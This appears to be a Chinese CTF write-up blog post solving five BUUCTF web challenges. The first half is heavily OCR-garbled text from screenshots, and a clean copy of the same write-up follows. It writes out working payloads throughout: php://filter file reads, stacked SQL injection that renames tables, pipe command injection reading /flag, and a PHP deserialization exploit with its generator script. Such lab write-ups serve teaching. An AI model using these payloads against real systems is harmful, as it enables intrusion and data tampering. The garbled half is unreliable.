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<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=="dog"'){
echo 'Syc{cat_cat_cat_cat}"';

}

-->

XR—BRPHPRRY, RIS NWT:

PAGET &tk \cat, EizE#itcatiifl, #catiifli~Ndog, Mi%iH“Syc{cat cat_cat_cat}’.
ENRAKGREAag, FR&IAE L Acati{E ~dog.
http://5e4c35d3-52ac-4fde-88d6-849e9e589380.node4 .buuoj.cn:81/?cat=dog
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flag{6ecdc48d-4844-4a90-aada-2aa4dce86c9c}
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Can you find out the flag?
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F 2“/?file=flag.php”, 45& @ H % FInclude, 553l & XA & IR .

X BB SR 2 php://input”+POST R iAPHPAAY, (B &R BL“php://input” it i T .
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?file=php:/ffilter/read=convert.base64-encode/resource=flag.php
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PD9waHAKZWNobyAiQ2FulHIvdSBmaW5kiG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MjY1M2JhYjtZGM5Mi00YzRILThINmUtMWRmMODIXZjEzY2lwfQo=

X Btbase64i 17 15, 3 2flag.
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<?php

echo “Can you find out the flag?”;
//f1lag{2653bab2-dc92-4c4e-8ebe-1df821f13ch0}
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3 D 19 T 35 J 51 z
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N FRRAEEKIRSE, Rin—0i&: ARNZER—FH
1 lE=0)
array(2) {
[o]l=
string(l) "1”
[11=>

string(7) “hahahah”

array(2) {
[o]=>
string(l) "2”
[11=
string(12) “miaomiaomiao”

}

array(2) {
[o1=>
string(6) “114514”
[11=
string(2) “ys”

X B A W A ESQLIEN .

BT kR2ifunionvEA: 1'union select 1,2#
RILENR T 3 JE s R F

XERI: selecthiiddEr T, WMTEMEAKREERT .



< C @ O A buuoj.cn F g

D KlEs @EE ©FELE DIRERE @ PHP B |ES8R @ BSTEStechides.. [ kali volatility SRR 7] THMEAETAE.. CTFERTR-CTFL.. @) Brainfuck/Text/OokL... » Dmiess Deanestass
NHFRERXEEKHIREE, Rik—0iE: ALNZ2R—F0
w1 |1z |

return preg_match(”/select|update|delete|drop|insert|where|\./i”, $inject):

XEZAEAEBEN:
S B — T HEREN:

HWBENABEHERE TRESEHN, SR FSELECTIEAIMUNIONB & EHBE AR, HSEANTUHTF
PATEMSQLIEH] .

HEBEAMRE: £SQLY, SR —FIBANEGR. QRESSHEEBAN—FKiIER, XFEAHEAT I
PAT, SEIM—A0SM—KIEA], ZXREBUAT DUE— REEE R A AT 2 AME A
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4 0, show databases; # || #2srzs | CSDN @—i 3L E
array(l) {
[0l=>

string(11) “ctftraining”

array (1) {
[o1=>

string(18) “information_schema”

array(l) {
[o]l=
string(5) “mysql”

array (1) {
[o1=>

string(18) “performance_schema”

array(l) {
[o]l=
string(9) “supersqli”

array (1) {
[o1=>
string(4) “test”

1 Fishow databases#& H! 7 $iE B .
BT kHE 0" show tables; # iR 1E%E.
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2238 0'; show tables; # =5 CSDN @— 475 /v

array (1) {
[ol=
string(16) “1919810931114514”

array(1) {
[o]=>
string(5) “words”

0'; desc words; # & #jFwordsHI N %, KM —ILFidMdatapizl. FTLAEMRZEHANE ORMEEX /N RESE
HWEIER

WMFERAELHIRSE, Rii—0iF: ARNRZSR—F"

i |[]'; desc words; #| H 12 | CSDN @— 2T L/ 5

array(6) {
[o]=>
string(2) “id”
[11=>
string(7) “int(10)”

string(2) “NO”

[6]1=>
string(0)

array(6) {
[o]=>
string(4) “data”

string(11) “varchar(20)”
[21=>

string(2) "NO”
[3]=>
string(0) "
[4]=

NULL

[5]1=>
string(0)

BT REFER1919810931114514K1 2

0'; desc "1919810931114514"; #
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EMFERAELHIRESE, Rii—0i&: FRNZLR—FY

21 =50

string(4) “flag”

[11=

string(12) “varchar(100)”
[21=>

CSDN @— 35

FEIX BLURHL T flagh 4% -

gZ&words® T RANBIIKE L, 7 LIFENEHEHR N "selsect id,data from words where id ="
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MUwords, %I flagdchid. TRH#iEPayloadin T :

0';rename table words to wl;rename table ~1919810931114514° to words;alter table words change flag id

varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc

BAEH1 or 1=1#, 75 %Iflag.
N FREREEKIRESE, Rik—aif: ASNZ2R—FT

71 =

array(l) {
[0l=>
string(42) “flag{bl9647h7-e906-49e4-9f58-7b5538290bcd}

PU. [ACTF2020 # 4 #&]Exec
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PING
index. php

BEWR B FKkIflag.

< C @ O A buuoj.cn B 3 s @

D alErmss @ EE Q #Firri DRENE @ PHP B0 | ES85E @ RST1ESteghides.. [ kali volatility HEER 7] XAMEAELIH.. CTFHEATE-CTFL.. @) Brainfuck/Text/Ook!... » Dsss Deangsboss

PING

1]ls4

PING

bin
dev
ete
flag
home
1ib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

H#EWi&Payload A1 | cat /flag , & Flflag.



QO Aa buuoj.cn 2 W y 1 e

) HF L (D #ARLE @ PHP B | ES#iE @ RSTHsteghidefs. [ ka lity B SCAIEAELATE. CTHEATER-CTFL... @) Brainfuck/Text/Ook!... » Dswss [

PING

‘ 1| cat fflag|

PING

flag{435f9565-baf6-4884-a435-4865b@babalb}

CSDN @—F R/

i [HRE R 2019]PHP

buuoj.cn

CTFEZTE-CTFL.. @) Brainl

Syclover @ clgy

KB hint:*
BEoN RO A R A EELBE, BTUAIRA —> RIF 80540 W i > 15
ARER! ! !

RN TR %A SO, BRI E AT ASAs F — AN PO 3 280 ST 48 B 7 SORGEEAT IR AR, R I3 P www.Zip X
o



C

O desrsss

}
hd{

THTRE, BEEindex.phplE LKL

] D view-sourcetfile:///C:/Users/xpd/Desktop/www/index.php

@ EE ©FFLE DREARL @ PHP BT | ES#E @ BSTHSteghide...
left:50%

margin: —150px 0 0 -150px;

width: 300px;

height: 300px;

font-size: 2em;
margin: 0.67em 0;

/style>

<body>

<div id="world">

{div style="text-shadow:0px Opx 5px;font—family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font—family:KaiTi;” >[I ARSI TR E AT ALk,

divy

{div style="text—shadow:0Opx Opx 5px;font—family:arial;color:black;font—size:20px;position: absolute;bottom: 80%;left: 700px;font—family:KaiTi; >AMLER! ! !

</div>

{div style="text—shadow:Opx Opx 5px;font—family:arial;color:black;:font—size:20px;position: absolute;bottom: 70%;left: 640px;font—family:KaiTi;”>

<?php

include "class. php’;
$select = $§ GET[ select’];
$res=unserialize (@§select) ;

{div style="position: absolute;bottom: 5%;width: 99%;”><p align="center” style="font:italic 15px Georgia, serif;color:white;”> Syclover @ cldy</p>{/div>

2>

divy
div>
{script src=http://cdnjs. cloudflare. com/ajax/libs/three. js/r70/three. min. js’ »></script>
(script src= http://cdnjs. cloudflare. com/ajax/libs/gsap/1. 16. 1/TweenMax. min. js’ ></script>
{script src= https://s3-us-west—2. amazonaws. con/s. cdpn. i0/264161/0rbitControls. js’ >{/script>
{script src=https://s3-us—west—2. amazonaws. com/s. cdpn. i0/264161/Cat. js’ >{/script>
(script sre="index. js"></script>
</bodv>

<?php

include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);

?>

C

O vamermss

X B NE T —Aclass.php3l 4, RJEKHgetttit— selects4,

@ O file:///C:/Users/xpd/Desktop/wwwi/class.php

QEE ©FHFLE OREARL @ PHP BT | Eo#E @) BSISsteghidefs.. [ kalivolatility HEIER 7] SAEAELTA..

username = $username; $this->password = $password; } function _ wakeup(){ $this->username = 'guest’; } function _ destruct(){ if ($this->password != 100) { echo "
NO!thacker!!!

*. echo "You name is: "; echo $this->username;echo "

", echo "You password is: "; echo $this->password;echo "

", die(); } if ($this->username === "admin’) { global $flag; echo $flag; }else{ echo "
hello my friend~~

sorry i can't give you the flag!"; die(); } } } 7>

@ Brainfuck/Text/Ook!... » Deesss [Jeaiss bobs

b e TN . BATEF class.php.

@ Brainfuck/Text/Ook!... » D=as Jemnss babss




ARSI T
<?php
include 'flag.php';

error_reporting(0);

class Name{
private $username = 'nonono’;
private $password

'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;

function __wakeup(){
$this->username = 'guest';

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";

echo "You password is: ";
echo $this->password;echo "</br>";

die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

SIS JE BN W password=100, username=admin, FEAT _ destruct()iI A i 7] LAk B flag.
XEBERAGIEFFNL, exptn F:
<?php

class Name{
private $username = 'nonono’;
private $password = 'yesyes';



public function __construct($username,$password{
$this->username = $username;
$this->password = $password;

}
}

$a = new Name(‘admin', 100);
var_dump(serialize($a));

?>
REXHEFHBAT, BRKFFN:
0:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s: 14:"Namepassword";i: 100;}

Mttt ohfE wiE EE R

xpd @kali: - SLE

~/ % H\
"1.php"
string(77) "0:4:"Name":2:{s:14:"Nameusername”;s:5:"admin";s:1
e9;}"

ERF IR BRHES E SEHAT  wakeup () BRI, EEAXANFELSIERMTMusernameEHAE, FTATRA]
BEERBIHREAGRT wakeup (), MEWMIT destructe

B ERFINERER, BEHENBERTERBEANSE, Bt wakeup()® AT
0:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s: 14:"Namepassword";i: 100;}

{HILRX AN B IE R private. private B FBOAAE 7B, REFTHEBIRIEF AT, EZKH T IRMIZKK
XREBIF AT R FEREFBEFBRAEFILR, REMFERAMEHASMN EONATH. FrRHKEH
BAEFTIMBTR KK . FREBOEF L

0:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
I GET B RATHE & 1T I P 54k ZfEselect ) S HiftiEid 25, MigPayload A :

http://32e3b1f8-c87f-4a10-bee4-e76a9384f112.node4.buuoj.cn:81/?select=0:4:"Name":3:
{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i: 100;}

B 3lflag.
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	Web学习之路（BUUCTF刷题之旅）
	一、[极客大挑战 2019]Havefun  F12查看网页源代码    发现一段注释：  <!--         $cat=$_GET['cat'];         echo $cat;         if($cat=='dog'){             echo 'Syc{cat_cat_cat_cat}';         }         --> 这是一段PHP代码，大致含义如下：  以GET方式传入cat，直接输出cat的值，若cat的值为dog，则输出“Syc{cat_cat_cat_cat}”。  这个东西长得很像flag，于是试着传入cat的值为dog。  http://5e4c35d3-52ac-4fde-88d6-849e9e589380.node4.buuoj.cn:81/?cat=dog  得到flag    二.[ACTF2020 新生赛]Include    看到“/?file=flag.php”，结合题目名字Include,猜测是文件包含漏洞。  这里首先猜测的是“php://input”+POST发送PHP代码，但发现“php://input”被过滤掉了。    重新考虑“php://filter伪协议”进行包含。这里引申出来知识点：  php://filter与包含函数结合时，php://filter流会被当作php文件执行。所以我们一般对其进行编码，阻止其不执行。从而导致任意文件读取。  php://filter 伪协议文件包含读取源代码，加上read=convert.base64-encode，用base64编码输出，不然会直接当做php代码执行，看不到源代码内容。 于是尝试构造Payload如下：  ?file=php://filter/read=convert.base64-encode/resource=flag.php  值得一提的是，当我们在使用“php://filter伪协议”进行文件包含时，需要加上                                                “read=convert.base64-encode ”  来对文件内容进行编码。    把这段base64进行解码，得到flag。     三、[强网杯 2019] 随便注  开启docker后看到如下：     尝试使用1' or 1=1#，发现可以用or把所有数据都查出来：     这里初步判断出存在SQL注入。  接下来尝试union注入：1' union select 1,2#  发现回显了过滤掉的关键字。  这里发现：select被过滤掉了，也就无法使用联合查询了。    这里尝试使用堆叠注入：  先简单地说一下堆叠注入：  堆叠注入为攻击者提供了很多控制权，与仅限于SELECT语句的UNION联合查询攻击不同，堆叠注入可以用于执行任何SQL语句。  堆叠注入的原理：在SQL中，分号表示一条语句的结束。如果在分号的后面再加一条语句，这条语句也可以被执行，继续加一个分号和一条语句，这样就可以在一次数据库的调用中执行多个语句。       使用show databases爆出了数据库。  接下来使用0'; show tables; # 尝试爆表。        0'; desc words; # 查询表words的内容，发现一共有id和data两列。可以猜测提交查询的窗口就是在这个表里查询数据的。     接下来查看表1919810931114514的内容：  0'; desc `1919810931114514`; #   这里需要注意要用反单引号`将表明包起来。  顺便提一句：在windows系统下，反单引号（`）是数据库、表、索引、列和别名用的引用符。    在这里发现了flag的字样。  结合words表中我们得到的信息，可以猜测查询语句为"selsect id,data from words where id ="  因为可以堆叠注入，所以想到了重命名的方法，把表words随便改成一个名字w1，然后把表1919810931114514改成words，再把列名flag改为id。于是构造Payload如下：  0';rename table words to w1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#  再使用1' or 1=1#，得到flag。     四、[ACTF2020 新生赛]Exec  ping:输入ip地址或域名后可以测试网络的连通性    但由于我并不知道要输入什么ip，网页源代码里也没找到什么有用的信息，所以猜测这不是关键点。  随便输了个1进去发现可以连通，证明猜测正确。  接下来尝试用管道符执行命令：  这里发现常用的管道过滤符都没有被禁用，这里我选择了 | ，大家用其他的 || ，&等等，都可以。     查看根目录发现flag。      直接构造Payload为1 | cat /flag ,拿到flag。     五、[极客大挑战 2019]PHP    发现hint:“  因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯  不愧是我！！！  ”   提示网页有备份文件，因此可以尝试使用一个网站备份文件名的字典来进行爆破，发现网站中有www.zip文件。     下载下来后，查看index.php源代码发现：    <?php     include 'class.php';     $select = $_GET['select'];     $res=unserialize(@$select);     ?> 这里加载了一个class.php文件，然后采用get传递一个select参数，随后将之反序列化 。我们查看class.php。    源代码如下：  <?php include 'flag.php';   error_reporting(0);   class Name{     private $username = 'nonono';     private $password = 'yesyes';      public function __construct($username,$password){         $this->username = $username;         $this->password = $password;     }      function __wakeup(){         $this->username = 'guest';     }      function __destruct(){         if ($this->password != 100) {             echo "</br>NO!!!hacker!!!</br>";             echo "You name is: ";             echo $this->username;echo "</br>";             echo "You password is: ";             echo $this->password;echo "</br>";             die();         }         if ($this->username === 'admin') {             global $flag;             echo $flag;         }else{             echo "</br>hello my friend~~</br>sorry i can't give you the flag!";             die();                       }     } } ?> 分析代码后得知：如果password=100，username=admin，在执行__destruct()的时候可以获得flag。  这里我们构造序列化，exp如下：  <?php  class Name{     private $username = 'nonono';     private $password = 'yesyes';      public function __construct($username,$password){         $this->username = $username;         $this->password = $password;     } } $a = new Name('admin', 100); var_dump(serialize($a));  ?>  保存文件并执行，得到的序列化为：  O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}    在反序列化的时候会首先执行__wakeup()魔术方法，但是这个方法会把我们的username重新赋值，所以我们要考虑的就是怎么绕过__wakeup()，而去执行__destruct。  首先：在反序列化字符串时，属性个数的值大于实际属性个数时，会跳过 __wakeup()函数的执行  O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}  但此时这个变量还是private。private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时，类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度。再次改造序列化：  O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}  使用GET方法把我们准备好的序列化当作select的参数传递过去，构造Payload为：  http://32e3b1f8-c87f-4a10-bee4-e76a9384f112.node4.buuoj.cn:81/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}  得到flag。

